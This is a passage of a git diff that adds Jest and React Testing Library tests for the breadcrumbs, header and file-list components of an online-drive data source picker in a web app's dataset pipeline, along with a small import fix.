+      expect(screen.getByText('normal-folder')).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // All Prop Variations Tests
+  // ==========================================
+  describe('Prop Variations', () => {
+    it.each([
+      { hasBucket: true, bucket: 'b1', breadcrumbs: [], expected: 'bucket visible' },
+      { hasBucket: true, bucket: '', breadcrumbs: [], expected: 'all buckets title' },
+      { hasBucket: false, bucket: '', breadcrumbs: [], expected: 'all files' },
+      { hasBucket: false, bucket: '', breadcrumbs: ['f1'], expected: 'drive with breadcrumb' },
+    ])('should render correctly for $expected', ({ hasBucket, bucket, breadcrumbs }) => {
+      // Arrange
+      mockStoreState.hasBucket = hasBucket
+      const props = createDefaultProps({ bucket, breadcrumbs })
+
+      // Act
+      render(<Breadcrumbs {...props} />)
+
+      // Assert - Component should render without errors
+      const container = document.querySelector('.flex.grow')
+      expect(container).toBeInTheDocument()
+    })
+
+    it.each([
+      { isInPipeline: true, bucket: '', expectedNum: 2 },
+      { isInPipeline: false, bucket: '', expectedNum: 3 },
+      { isInPipeline: true, bucket: 'b', expectedNum: 1 },
+      { isInPipeline: false, bucket: 'b', expectedNum: 2 },
+    ])('should calculate displayBreadcrumbNum=$expectedNum when isInPipeline=$isInPipeline and bucket=$bucket', ({ isInPipeline, bucket, expectedNum }) => {
+      // Arrange
+      mockStoreState.hasBucket = !!bucket
+      const breadcrumbs = Array.from({ length: expectedNum + 2 }, (_, i) => `f${i}`)
+      const props = createDefaultProps({ isInPipeline, bucket, breadcrumbs })
+
+      // Act
+      render(<Breadcrumbs {...props} />)
+
+      // Assert - Should collapse because breadcrumbs.length > expectedNum
+      const buttons = screen.getAllByRole('button')
+      const hasDropdownTrigger = buttons.some(btn => btn.querySelector('svg'))
+      expect(hasDropdownTrigger).toBe(true)
+    })
+  })
+
+  // ==========================================
+  // Integration Tests
+  // ==========================================
+  describe('Integration', () => {
+    it('should handle full navigation flow: bucket -> folders -> navigation back', () => {
+      // Arrange
+      mockStoreState.hasBucket = true
+      mockStoreState.breadcrumbs = ['folder1', 'folder2']
+      mockStoreState.prefix = ['prefix1', 'prefix2']
+      const props = createDefaultProps({
+        bucket: 'my-bucket',
+        breadcrumbs: ['folder1', 'folder2'],
+      })
+      render(<Breadcrumbs {...props} />)
+
+      // Act - Click on first folder to navigate back
+      const firstFolder = screen.getByText('folder1')
+      fireEvent.click(firstFolder)
+
+      // Assert
+      expect(mockStoreState.setBreadcrumbs).toHaveBeenCalledWith(['folder1'])
+      expect(mockStoreState.setPrefix).toHaveBeenCalledWith(['prefix1'])
+    })
+
+    it('should handle search result display with navigation elements hidden', () => {
+      // Arrange
+      mockStoreState.hasBucket = true
+      const props = createDefaultProps({
+        keywords: 'test',
+        searchResultsLength: 5,
+        bucket: 'my-bucket',
+        breadcrumbs: ['folder1'],
+      })
+
+      // Act
+      render(<Breadcrumbs {...props} />)
+
+      // Assert - Search result should be shown, navigation elements should be hidden
+      expect(screen.getByText(/searchResult/)).toBeInTheDocument()
+      expect(screen.queryByText('my-bucket')).not.toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/header/breadcrumbs/item.tsx b/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/header/breadcrumbs/item.tsx
index 2117bb3ace..bbdee474ba 100644
--- a/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/header/breadcrumbs/item.tsx
+++ b/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/header/breadcrumbs/item.tsx
@@ -1,5 +1,5 @@
 import React, { useCallback } from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type BreadcrumbItemProps = {
   name: string
diff --git a/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/header/index.spec.tsx b/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/header/index.spec.tsx
new file mode 100644
index 0000000000..3982fd4243
--- /dev/null
+++ b/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/header/index.spec.tsx
@@ -0,0 +1,727 @@
+import { fireEvent, render, screen } from '@testing-library/react'
+import React from 'react'
+import Header from './index'
+
+// ==========================================
+// Mock Modules
+// ==========================================
+
+// Note: react-i18next uses global mock from web/__mocks__/react-i18next.ts
+
+// Mock store - required by Breadcrumbs component
+const mockStoreState = {
+  hasBucket: false,
+  setOnlineDriveFileList: jest.fn(),
+  setSelectedFileIds: jest.fn(),
+  setBreadcrumbs: jest.fn(),
+  setPrefix: jest.fn(),
+  setBucket: jest.fn(),
+  breadcrumbs: [],
+  prefix: [],
+}
+
+const mockGetState = jest.fn(() => mockStoreState)
+const mockDataSourceStore = { getState: mockGetState }
+
+jest.mock('../../../store', () => ({
+  useDataSourceStore: () => mockDataSourceStore,
+  useDataSourceStoreWithSelector: (selector: (s: typeof mockStoreState) => unknown) => selector(mockStoreState),
+}))
+
+// ==========================================
+// Test Data Builders
+// ==========================================
+type HeaderProps = React.ComponentProps<typeof Header>
+
+const createDefaultProps = (overrides?: Partial<HeaderProps>): HeaderProps => ({
+  breadcrumbs: [],
+  inputValue: '',
+  keywords: '',
+  bucket: '',
+  searchResultsLength: 0,
+  handleInputChange: jest.fn(),
+  handleResetKeywords: jest.fn(),
+  isInPipeline: false,
+  ...overrides,
+})
+
+// ==========================================
+// Helper Functions
+// ==========================================
+const resetMockStoreState = () => {
+  mockStoreState.hasBucket = false
+  mockStoreState.setOnlineDriveFileList = jest.fn()
+  mockStoreState.setSelectedFileIds = jest.fn()
+  mockStoreState.setBreadcrumbs = jest.fn()
+  mockStoreState.setPrefix = jest.fn()
+  mockStoreState.setBucket = jest.fn()
+  mockStoreState.breadcrumbs = []
+  mockStoreState.prefix = []
+}
+
+// ==========================================
+// Test Suites
+// ==========================================
+describe('Header', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    resetMockStoreState()
+  })
+
+  // ==========================================
+  // Rendering Tests
+  // ==========================================
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert - search input should be visible
+      expect(screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')).toBeInTheDocument()
+    })
+
+    it('should render with correct container styles', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { container } = render(<Header {...props} />)
+
+      // Assert - container should have correct class names
+      const wrapper = container.firstChild as HTMLElement
+      expect(wrapper).toHaveClass('flex')
+      expect(wrapper).toHaveClass('items-center')
+      expect(wrapper).toHaveClass('gap-x-2')
+      expect(wrapper).toHaveClass('bg-components-panel-bg')
+      expect(wrapper).toHaveClass('p-1')
+      expect(wrapper).toHaveClass('pl-3')
+    })
+
+    it('should render Input component with correct props', () => {
+      // Arrange
+      const props = createDefaultProps({ inputValue: 'test-value' })
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert
+      const input = screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')
+      expect(input).toBeInTheDocument()
+      expect(input).toHaveValue('test-value')
+    })
+
+    it('should render Input with search icon', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { container } = render(<Header {...props} />)
+
+      // Assert - Input should have search icon (RiSearchLine is rendered as svg)
+      const searchIcon = container.querySelector('svg.h-4.w-4')
+      expect(searchIcon).toBeInTheDocument()
+    })
+
+    it('should render Input with correct wrapper width', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { container } = render(<Header {...props} />)
+
+      // Assert - Input wrapper should have w-[200px] class
+      const inputWrapper = container.querySelector('.w-\\[200px\\]')
+      expect(inputWrapper).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Props Testing
+  // ==========================================
+  describe('Props', () => {
+    describe('inputValue prop', () => {
+      it('should display empty input when inputValue is empty string', () => {
+        // Arrange
+        const props = createDefaultProps({ inputValue: '' })
+
+        // Act
+        render(<Header {...props} />)
+
+        // Assert
+        const input = screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')
+        expect(input).toHaveValue('')
+      })
+
+      it('should display input value correctly', () => {
+        // Arrange
+        const props = createDefaultProps({ inputValue: 'search-query' })
+
+        // Act
+        render(<Header {...props} />)
+
+        // Assert
+        const input = screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')
+        expect(input).toHaveValue('search-query')
+      })
+
+      it('should handle special characters in inputValue', () => {
+        // Arrange
+        const specialChars = 'test[file].txt (copy)'
+        const props = createDefaultProps({ inputValue: specialChars })
+
+        // Act
+        render(<Header {...props} />)
+
+        // Assert
+        const input = screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')
+        expect(input).toHaveValue(specialChars)
+      })
+
+      it('should handle unicode characters in inputValue', () => {
+        // Arrange
+        const unicodeValue = '文件搜索 日本語'
+        const props = createDefaultProps({ inputValue: unicodeValue })
+
+        // Act
+        render(<Header {...props} />)
+
+        // Assert
+        const input = screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')
+        expect(input).toHaveValue(unicodeValue)
+      })
+    })
+
+    describe('breadcrumbs prop', () => {
+      it('should render with empty breadcrumbs', () => {
+        // Arrange
+        const props = createDefaultProps({ breadcrumbs: [] })
+
+        // Act
+        render(<Header {...props} />)
+
+        // Assert - Component should render without errors
+        expect(screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')).toBeInTheDocument()
+      })
+
+      it('should render with single breadcrumb', () => {
+        // Arrange
+        const props = createDefaultProps({ breadcrumbs: ['folder1'] })
+
+        // Act
+        render(<Header {...props} />)
+
+        // Assert
+        expect(screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')).toBeInTheDocument()
+      })
+
+      it('should render with multiple breadcrumbs', () => {
+        // Arrange
+        const props = createDefaultProps({ breadcrumbs: ['folder1', 'folder2', 'folder3'] })
+
+        // Act
+        render(<Header {...props} />)
+
+        // Assert
+        expect(screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')).toBeInTheDocument()
+      })
+    })
+
+    describe('keywords prop', () => {
+      it('should pass keywords to Breadcrumbs', () => {
+        // Arrange
+        const props = createDefaultProps({ keywords: 'search-keyword' })
+
+        // Act
+        render(<Header {...props} />)
+
+        // Assert - keywords are passed through, component renders
+        expect(screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')).toBeInTheDocument()
+      })
+    })
+
+    describe('bucket prop', () => {
+      it('should render with empty bucket', () => {
+        // Arrange
+        const props = createDefaultProps({ bucket: '' })
+
+        // Act
+        render(<Header {...props} />)
+
+        // Assert
+        expect(screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')).toBeInTheDocument()
+      })
+
+      it('should render with bucket value', () => {
+        // Arrange
+        const props = createDefaultProps({ bucket: 'my-bucket' })
+
+        // Act
+        render(<Header {...props} />)
+
+        // Assert
+        expect(screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')).toBeInTheDocument()
+      })
+    })
+
+    describe('searchResultsLength prop', () => {
+      it('should handle zero search results', () => {
+        // Arrange
+        const props = createDefaultProps({ searchResultsLength: 0 })
+
+        // Act
+        render(<Header {...props} />)
+
+        // Assert
+        expect(screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')).toBeInTheDocument()
+      })
+
+      it('should handle positive search results', () => {
+        // Arrange
+        const props = createDefaultProps({ searchResultsLength: 10, keywords: 'test' })
+
+        // Act
+        render(<Header {...props} />)
+
+        // Assert - Breadcrumbs will show search results text when keywords exist and results > 0
+        expect(screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')).toBeInTheDocument()
+      })
+
+      it('should handle large search results count', () => {
+        // Arrange
+        const props = createDefaultProps({ searchResultsLength: 1000, keywords: 'test' })
+
+        // Act
+        render(<Header {...props} />)
+
+        // Assert
+        expect(screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')).toBeInTheDocument()
+      })
+    })
+
+    describe('isInPipeline prop', () => {
+      it('should render correctly when isInPipeline is false', () => {
+        // Arrange
+        const props = createDefaultProps({ isInPipeline: false })
+
+        // Act
+        render(<Header {...props} />)
+
+        // Assert
+        expect(screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')).toBeInTheDocument()
+      })
+
+      it('should render correctly when isInPipeline is true', () => {
+        // Arrange
+        const props = createDefaultProps({ isInPipeline: true })
+
+        // Act
+        render(<Header {...props} />)
+
+        // Assert
+        expect(screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')).toBeInTheDocument()
+      })
+    })
+  })
+
+  // ==========================================
+  // Event Handlers Tests
+  // ==========================================
+  describe('Event Handlers', () => {
+    describe('handleInputChange', () => {
+      it('should call handleInputChange when input value changes', () => {
+        // Arrange
+        const mockHandleInputChange = jest.fn()
+        const props = createDefaultProps({ handleInputChange: mockHandleInputChange })
+        render(<Header {...props} />)
+        const input = screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')
+
+        // Act
+        fireEvent.change(input, { target: { value: 'new-value' } })
+
+        // Assert
+        expect(mockHandleInputChange).toHaveBeenCalledTimes(1)
+        // Verify that onChange event was triggered (React's synthetic event structure)
+        expect(mockHandleInputChange.mock.calls[0][0]).toHaveProperty('type', 'change')
+      })
+
+      it('should call handleInputChange on each keystroke', () => {
+        // Arrange
+        const mockHandleInputChange = jest.fn()
+        const props = createDefaultProps({ handleInputChange: mockHandleInputChange })
+        render(<Header {...props} />)
+        const input = screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')
+
+        // Act
+        fireEvent.change(input, { target: { value: 'a' } })
+        fireEvent.change(input, { target: { value: 'ab' } })
+        fireEvent.change(input, { target: { value: 'abc' } })
+
+        // Assert
+        expect(mockHandleInputChange).toHaveBeenCalledTimes(3)
+      })
+
+      it('should handle empty string input', () => {
+        // Arrange
+        const mockHandleInputChange = jest.fn()
+        const props = createDefaultProps({ inputValue: 'existing', handleInputChange: mockHandleInputChange })
+        render(<Header {...props} />)
+        const input = screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')
+
+        // Act
+        fireEvent.change(input, { target: { value: '' } })
+
+        // Assert
+        expect(mockHandleInputChange).toHaveBeenCalledTimes(1)
+        expect(mockHandleInputChange.mock.calls[0][0]).toHaveProperty('type', 'change')
+      })
+
+      it('should handle whitespace-only input', () => {
+        // Arrange
+        const mockHandleInputChange = jest.fn()
+        const props = createDefaultProps({ handleInputChange: mockHandleInputChange })
+        render(<Header {...props} />)
+        const input = screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')
+
+        // Act
+        fireEvent.change(input, { target: { value: '   ' } })
+
+        // Assert
+        expect(mockHandleInputChange).toHaveBeenCalledTimes(1)
+        expect(mockHandleInputChange.mock.calls[0][0]).toHaveProperty('type', 'change')
+      })
+    })
+
+    describe('handleResetKeywords', () => {
+      it('should call handleResetKeywords when clear icon is clicked', () => {
+        // Arrange
+        const mockHandleResetKeywords = jest.fn()
+        const props = createDefaultProps({
+          inputValue: 'to-clear',
+          handleResetKeywords: mockHandleResetKeywords,
+        })
+        const { container } = render(<Header {...props} />)
+
+        // Act - Find and click the clear icon container
+        const clearButton = container.querySelector('[class*="cursor-pointer"] svg[class*="h-3.5"]')?.parentElement
+        expect(clearButton).toBeInTheDocument()
+        fireEvent.click(clearButton!)
+
+        // Assert
+        expect(mockHandleResetKeywords).toHaveBeenCalledTimes(1)
+      })
+
+      it('should not show clear icon when inputValue is empty', () => {
+        // Arrange
+        const props = createDefaultProps({ inputValue: '' })
+        const { container } = render(<Header {...props} />)
+
+        // Act & Assert - Clear icon should not be visible
+        const clearIcon = container.querySelector('[class*="cursor-pointer"] svg[class*="h-3.5"]')
+        expect(clearIcon).not.toBeInTheDocument()
+      })
+
+      it('should show clear icon when inputValue is not empty', () => {
+        // Arrange
+        const props = createDefaultProps({ inputValue: 'some-value' })
+        const { container } = render(<Header {...props} />)
+
+        // Act & Assert - Clear icon should be visible
+        const clearIcon = container.querySelector('[class*="cursor-pointer"] svg[class*="h-3.5"]')
+        expect(clearIcon).toBeInTheDocument()
+      })
+    })
+  })
+
+  // ==========================================
+  // Component Memoization Tests
+  // ==========================================
+  describe('Memoization', () => {
+    it('should be wrapped with React.memo', () => {
+      // Assert - Header component should be memoized
+      expect(Header).toHaveProperty('$$typeof', Symbol.for('react.memo'))
+    })
+
+    it('should not re-render when props are the same', () => {
+      // Arrange
+      const mockHandleInputChange = jest.fn()
+      const mockHandleResetKeywords = jest.fn()
+      const props = createDefaultProps({
+        handleInputChange: mockHandleInputChange,
+        handleResetKeywords: mockHandleResetKeywords,
+      })
+
+      // Act - Initial render
+      const { rerender } = render(<Header {...props} />)
+
+      // Rerender with same props
+      rerender(<Header {...props} />)
+
+      // Assert - Component renders without errors
+      expect(screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')).toBeInTheDocument()
+    })
+
+    it('should re-render when inputValue changes', () => {
+      // Arrange
+      const props = createDefaultProps({ inputValue: 'initial' })
+      const { rerender } = render(<Header {...props} />)
+      const input = screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')
+      expect(input).toHaveValue('initial')
+
+      // Act - Rerender with different inputValue
+      const newProps = createDefaultProps({ inputValue: 'changed' })
+      rerender(<Header {...newProps} />)
+
+      // Assert - Input value should be updated
+      expect(input).toHaveValue('changed')
+    })
+
+    it('should re-render when breadcrumbs change', () => {
+      // Arrange
+      const props = createDefaultProps({ breadcrumbs: [] })
+      const { rerender } = render(<Header {...props} />)
+
+      // Act - Rerender with different breadcrumbs
+      const newProps = createDefaultProps({ breadcrumbs: ['folder1', 'folder2'] })
+      rerender(<Header {...newProps} />)
+
+      // Assert - Component renders without errors
+      expect(screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')).toBeInTheDocument()
+    })
+
+    it('should re-render when keywords change', () => {
+      // Arrange
+      const props = createDefaultProps({ keywords: '' })
+      const { rerender } = render(<Header {...props} />)
+
+      // Act - Rerender with different keywords
+      const newProps = createDefaultProps({ keywords: 'search-term' })
+      rerender(<Header {...newProps} />)
+
+      // Assert - Component renders without errors
+      expect(screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Edge Cases and Error Handling
+  // ==========================================
+  describe('Edge Cases and Error Handling', () => {
+    it('should handle very long inputValue', () => {
+      // Arrange
+      const longValue = 'a'.repeat(500)
+      const props = createDefaultProps({ inputValue: longValue })
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert
+      const input = screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')
+      expect(input).toHaveValue(longValue)
+    })
+
+    it('should handle very long breadcrumb paths', () => {
+      // Arrange
+      const longBreadcrumbs = Array.from({ length: 20 }, (_, i) => `folder-${i}`)
+      const props = createDefaultProps({ breadcrumbs: longBreadcrumbs })
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert
+      expect(screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')).toBeInTheDocument()
+    })
+
+    it('should handle breadcrumbs with special characters', () => {
+      // Arrange
+      const specialBreadcrumbs = ['folder [1]', 'folder (2)', 'folder-3.backup']
+      const props = createDefaultProps({ breadcrumbs: specialBreadcrumbs })
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert
+      expect(screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')).toBeInTheDocument()
+    })
+
+    it('should handle breadcrumbs with unicode names', () => {
+      // Arrange
+      const unicodeBreadcrumbs = ['文件夹', 'フォルダ', 'Папка']
+      const props = createDefaultProps({ breadcrumbs: unicodeBreadcrumbs })
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert
+      expect(screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')).toBeInTheDocument()
+    })
+
+    it('should handle bucket with special characters', () => {
+      // Arrange
+      const props = createDefaultProps({ bucket: 'my-bucket_2024.backup' })
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert
+      expect(screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')).toBeInTheDocument()
+    })
+
+    it('should pass the event object to handleInputChange callback', () => {
+      // Arrange
+      const mockHandleInputChange = jest.fn()
+      const props = createDefaultProps({ handleInputChange: mockHandleInputChange })
+      render(<Header {...props} />)
+      const input = screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')
+
+      // Act
+      fireEvent.change(input, { target: { value: 'test-value' } })
+
+      // Assert - Verify the event object is passed correctly
+      expect(mockHandleInputChange).toHaveBeenCalledTimes(1)
+      const eventArg = mockHandleInputChange.mock.calls[0][0]
+      expect(eventArg).toHaveProperty('type', 'change')
+      expect(eventArg).toHaveProperty('target')
+    })
+  })
+
+  // ==========================================
+  // All Prop Variations Tests
+  // ==========================================
+  describe('Prop Variations', () => {
+    it.each([
+      { isInPipeline: true, bucket: '' },
+      { isInPipeline: true, bucket: 'my-bucket' },
+      { isInPipeline: false, bucket: '' },
+      { isInPipeline: false, bucket: 'my-bucket' },
+    ])('should render correctly with isInPipeline=$isInPipeline and bucket=$bucket', (propVariation) => {
+      // Arrange
+      const props = createDefaultProps(propVariation)
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert
+      expect(screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')).toBeInTheDocument()
+    })
+
+    it.each([
+      { keywords: '', searchResultsLength: 0, description: 'no search' },
+      { keywords: 'test', searchResultsLength: 0, description: 'search with no results' },
+      { keywords: 'test', searchResultsLength: 5, description: 'search with results' },
+      { keywords: '', searchResultsLength: 5, description: 'no keywords but has results count' },
+    ])('should render correctly with $description', ({ keywords, searchResultsLength }) => {
+      // Arrange
+      const props = createDefaultProps({ keywords, searchResultsLength })
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert
+      expect(screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')).toBeInTheDocument()
+    })
+
+    it.each([
+      { breadcrumbs: [], inputValue: '', expected: 'empty state' },
+      { breadcrumbs: ['root'], inputValue: 'search', expected: 'single breadcrumb with search' },
+      { breadcrumbs: ['a', 'b', 'c'], inputValue: '', expected: 'multiple breadcrumbs no search' },
+      { breadcrumbs: ['a', 'b', 'c', 'd', 'e'], inputValue: 'query', expected: 'many breadcrumbs with search' },
+    ])('should handle $expected correctly', ({ breadcrumbs, inputValue }) => {
+      // Arrange
+      const props = createDefaultProps({ breadcrumbs, inputValue })
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert
+      const input = screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')
+      expect(input).toHaveValue(inputValue)
+    })
+  })
+
+  // ==========================================
+  // Integration with Child Components
+  // ==========================================
+  describe('Integration with Child Components', () => {
+    it('should pass all required props to Breadcrumbs', () => {
+      // Arrange
+      const props = createDefaultProps({
+        breadcrumbs: ['folder1', 'folder2'],
+        keywords: 'test-keyword',
+        bucket: 'test-bucket',
+        searchResultsLength: 10,
+        isInPipeline: true,
+      })
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert - Component should render successfully, meaning props are passed correctly
+      expect(screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')).toBeInTheDocument()
+    })
+
+    it('should pass correct props to Input component', () => {
+      // Arrange
+      const mockHandleInputChange = jest.fn()
+      const mockHandleResetKeywords = jest.fn()
+      const props = createDefaultProps({
+        inputValue: 'test-input',
+        handleInputChange: mockHandleInputChange,
+        handleResetKeywords: mockHandleResetKeywords,
+      })
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert
+      const input = screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')
+      expect(input).toHaveValue('test-input')
+
+      // Test onChange handler
+      fireEvent.change(input, { target: { value: 'new-value' } })
+      expect(mockHandleInputChange).toHaveBeenCalled()
+    })
+  })
+
+  // ==========================================
+  // Callback Stability Tests
+  // ==========================================
+  describe('Callback Stability', () => {
+    it('should maintain stable handleInputChange callback after rerender', () => {
+      // Arrange
+      const mockHandleInputChange = jest.fn()
+      const props = createDefaultProps({ handleInputChange: mockHandleInputChange })
+      const { rerender } = render(<Header {...props} />)
+      const input = screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')
+
+      // Act - Fire change event, rerender, fire again
+      fireEvent.change(input, { target: { value: 'first' } })
+      rerender(<Header {...props} />)
+      fireEvent.change(input, { target: { value: 'second' } })
+
+      // Assert
+      expect(mockHandleInputChange).toHaveBeenCalledTimes(2)
+    })
+
+    it('should maintain stable handleResetKeywords callback after rerender', () => {
+      // Arrange
+      const mockHandleResetKeywords = jest.fn()
+      const props = createDefaultProps({
+        inputValue: 'to-clear',
+        handleResetKeywords: mockHandleResetKeywords,
+      })
+      const { container, rerender } = render(<Header {...props} />)
+
+      // Act - Click clear, rerender, click again
+      const clearButton = container.querySelector('[class*="cursor-pointer"] svg[class*="h-3.5"]')?.parentElement
+      fireEvent.click(clearButton!)
+      rerender(<Header {...props} />)
+      fireEvent.click(clearButton!)
+
+      // Assert
+      expect(mockHandleResetKeywords).toHaveBeenCalledTimes(2)
+    })
+  })
+})
diff --git a/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/index.spec.tsx b/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/index.spec.tsx
new file mode 100644
index 0000000000..e8e0930e44
--- /dev/null
+++ b/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/index.spec.tsx
@@ -0,0 +1,757 @@
+import { fireEvent, render, screen } from '@testing-library/react'
+import React from 'react'
+import FileList from './index'
+import type { OnlineDriveFile } from '@/models/pipeline'
+import { OnlineDriveFileType } from '@/models/pipeline'
+
+// ==========================================
+// Mock Modules
+// ==========================================
+
+// Note: react-i18next uses global mock from web/__mocks__/react-i18next.ts
+
+// Mock ahooks useDebounceFn - third-party library requires mocking
+const mockDebounceFnRun = jest.fn()
+jest.mock('ahooks', () => ({
+  useDebounceFn: (fn: (...args: any[]) => void) => {
+    mockDebounceFnRun.mockImplementation(fn)
+    return { run: mockDebounceFnRun }
+  },
+}))
+
+// Mock store - context provider requires mocking
+const mockStoreState = {
+  setNextPageParameters: jest.fn(),
+  currentNextPageParametersRef: { current: {} },
+  isTruncated: { current: false },
+  hasBucket: false,
+  setOnlineDriveFileList: jest.fn(),
+  setSelectedFileIds: jest.fn(),
+  setBreadcrumbs: jest.fn(),
+  setPrefix: jest.fn(),
+  setBucket: jest.fn(),
+}
+
+const mockGetState = jest.fn(() => mockStoreState)
+const mockDataSourceStore = { getState: mockGetState }
+
+jest.mock('../../store', () => ({
+  useDataSourceStore: () => mockDataSourceStore,
+  useDataSourceStoreWithSelector: (selector: (s: any) => any) => selector(mockStoreState),
+}))
+
+// ==========================================
+// Test Data Builders
+// ==========================================
+const createMockOnlineDriveFile = (overrides?: Partial<OnlineDriveFile>): OnlineDriveFile => ({
+  id: 'file-1',
+  name: 'test-file.txt',
+  size: 1024,
+  type: OnlineDriveFileType.file,
+  ...overrides,
+})
+
+type FileListProps = React.ComponentProps<typeof FileList>
+
+const createDefaultProps = (overrides?: Partial<FileListProps>): FileListProps => ({
+  fileList: [],
+  selectedFileIds: [],
+  breadcrumbs: [],
+  keywords: '',
+  bucket: '',
+  isInPipeline: false,
+  resetKeywords: jest.fn(),
+  updateKeywords: jest.fn(),
+  searchResultsLength: 0,
+  handleSelectFile: jest.fn(),
+  handleOpenFolder: jest.fn(),
+  isLoading: false,
+  supportBatchUpload: true,
+  ...overrides,
+})
+
+// ==========================================
+// Helper Functions
+// ==========================================
+const resetMockStoreState = () => {
+  mockStoreState.setNextPageParameters = jest.fn()
+  mockStoreState.currentNextPageParametersRef = { current: {} }
+  mockStoreState.isTruncated = { current: false }
+  mockStoreState.hasBucket = false
+  mockStoreState.setOnlineDriveFileList = jest.fn()
+  mockStoreState.setSelectedFileIds = jest.fn()
+  mockStoreState.setBreadcrumbs = jest.fn()
+  mockStoreState.setPrefix = jest.fn()
+  mockStoreState.setBucket = jest.fn()
+}
+
+// ==========================================
+// Test Suites
+// ==========================================
+describe('FileList', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    resetMockStoreState()
+    mockDebounceFnRun.mockClear()
+  })
+
+  // ==========================================
+  // Rendering Tests
+  // ==========================================
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<FileList {...props} />)
+
+      // Assert - search input should be visible
+      expect(screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')).toBeInTheDocument()
+    })
+
+    it('should render with correct container styles', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { container } = render(<FileList {...props} />)
+
+      // Assert
+      const wrapper = container.firstChild as HTMLElement
+      expect(wrapper).toHaveClass('flex')
+      expect(wrapper).toHaveClass('h-[400px]')
